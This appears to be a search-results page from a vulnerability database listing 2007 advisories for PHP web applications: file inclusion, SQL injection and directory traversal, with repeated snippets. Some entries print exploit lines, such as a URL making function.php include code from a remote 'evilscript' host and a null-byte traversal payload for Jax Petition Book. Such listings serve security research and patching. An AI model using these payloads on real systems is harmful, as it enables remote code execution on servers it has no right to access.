3428 matches found
WEBO (Web ORGanizer) 1.0 - 'baseDir' Remote File Inclusion
\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV67$2007 ----------------------------------------------------------------------------------------- ECHOADV67$2007 WEBO Web Organizer = 1.0 baseDir Remote File Inclusion Vulnerability...
Sql injection
Multiple SQL injection vulnerabilities in Mathis Dirksen-Thedens ZephyrSoft Toolbox Address Book Continued ABC 1.00 allow remote attackers to execute arbitrary SQL commands via the id parameter to the 1 updateRow and 2 deleteRow functions in functions.php. NOTE: some of these details are obtained...
CVE-2007-1121
CVE-2007-1121 is a documented SQL injection in Mathis Dirksen-Thedens ZephyrSoft Toolbox Address Book Continued (ABC) 1.00. The vulnerability allows remote attackers to manipulate the database by supplying crafted id values to updateRow and deleteRow functions in functions.php. The affected produ...
CVE-2007-1122
CVE-2007-1122 affects Mathis Dirksen-Thedens ZephyrSoft Toolbox Address Book Continued (ABC) versions 1.00 and 1.01. The vulnerability is a SQL injection in the id parameter used by the functions.php routines updateRow and deleteRow. The flaw enables remote execution of arbitrary SQL commands as ...
CVE-2007-1121
Multiple SQL injection vulnerabilities in Mathis Dirksen-Thedens ZephyrSoft Toolbox Address Book Continued ABC 1.00 allow remote attackers to execute arbitrary SQL commands via the id parameter to the 1 updateRow and 2 deleteRow functions in functions.php. NOTE: some of these details are obtained...
Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability:
Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript thanx= x0r0n,str0ke,shakia milw0rm.com...
Remote file inclusion
PHP remote file inclusion vulnerability in function.php in Ultimate Fun Book 1.02 allows remote attackers to execute arbitrary PHP code via a URL in the gbpfad parameter. NOTE: some sources mention "Ultimate Fun Board," but this appears to be an error...
CVE-2007-1059
PHP remote file inclusion vulnerability in function.php in Ultimate Fun Book 1.02 allows remote attackers to execute arbitrary PHP code via a URL in the gbpfad parameter. NOTE: some sources mention "Ultimate Fun Board," but this appears to be an error...
CVE-2007-1059
PHP remote file inclusion vulnerability in function.php in Ultimate Fun Book 1.02 allows remote attackers to execute arbitrary PHP code via a URL in the gbpfad parameter. NOTE: some sources mention "Ultimate Fun Board," but this appears to be an error...
CVE-2007-1059
CVE-2007-1059 concerns PHP remote file inclusion in Ultimate Fun Book 1.02. The vulnerability exists in the function.php file where the gbpfad parameter can be crafted to include a remote URL, enabling a remote attacker to execute arbitrary PHP code on the affected system. This is documented acro...
Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability
No description provided by source. Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript...
Ultimate Fun Book 1.02 - 'function.php' Remote File Inclusion
Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript thanx= x0r0n,str0ke,shakia milw0rm.com...
Ultimate Fun Book 1.02 - function.php Remote File Inclusion
Ultimate Fun Book 1.02 - function.php Remote File Inclusion Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit:...
Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ======================================================================= Ultimate Fun Book 1.02 function.php Remote File Include Vulnerability ======================================================================= Ultimate Fun Book 1.02...
Directory traversal
Multiple directory traversal vulnerabilities in Jax Petition Book 1.0.3.06 allow remote attackers to include and execute arbitrary local files via a .. dot dot in the languagepack parameter to 1 jaxpetitionbook.php or 2 smileys.php...
CVE-2007-0335
Multiple directory traversal vulnerabilities in Jax Petition Book 1.0.3.06 allow remote attackers to include and execute arbitrary local files via a .. dot dot in the languagepack parameter to 1 jaxpetitionbook.php or 2 smileys.php...
CVE-2007-0335
CVE-2007-0335 affects Jax Petition Book 1.0.3.06. Affected component: languagepack handling in jax_petitionbook.php and smileys.php. Root cause: directory traversal via a .. in the languagepack parameter enables inclusion of arbitrary local files. Impact: remote attackers can include and execute ...
Jax Petition Book (languagepack) Remote File Include Vulnerabilities
------------------------------------------------------------------------------------------------------------------ AYYILDIZ.ORG PreSents... Script: Jax Petition Book Download: jtr.de/scripting/php/guestbook/petitionbook20v1.0.3.06.zip Contact: ilker Kandemir ilkerkandemiratmynet.com...
Re: Jax Petition Book (languagepack) Remote File Include Vulnerabilities
Actually, this can be pretty serious depending on server settings, but an improper example was given. Better one: jaxpetitionbook.php?languagepack=../../someotherallowedfileuploads/myfile.php.gif00 Many servers will have magic quotes on to defeat the null byte, but by no means all. John...
jax-rfi.txt
------------------------------------------------------------------------------------------------------------------ AYYILDIZ.ORG PreSents... Script: Jax Petition Book Download: jtr.de/scripting/php/guestbook/petitionbook%20v1.0.3.06.zip Contact: ilker Kandemir...